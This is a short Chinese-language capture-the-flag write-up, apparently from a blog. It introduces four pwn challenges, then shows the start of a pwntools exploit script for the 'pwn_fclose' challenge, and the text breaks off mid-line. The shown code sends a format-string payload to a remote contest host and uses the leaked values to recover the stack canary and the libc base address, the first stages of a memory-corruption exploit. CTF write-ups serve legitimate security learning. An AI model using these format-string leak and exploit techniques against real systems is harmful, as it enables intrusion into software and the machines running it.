这次比赛一共放了4道pwn题，3道栈上的，比较菜，只会做栈 1.pwn_fclose frompwnimport context(os='linux',arch='amd64',log_level='debug') io=remote('139.196.237.232',32985) io=process("./pwn") libc=ELF("./libc.so.6") payload=b"%35$p%37$p" io.sendline(payload) io.recvuntil(b"Hello") canary=int(io.recv(18),16) libc_base=int(io.rec...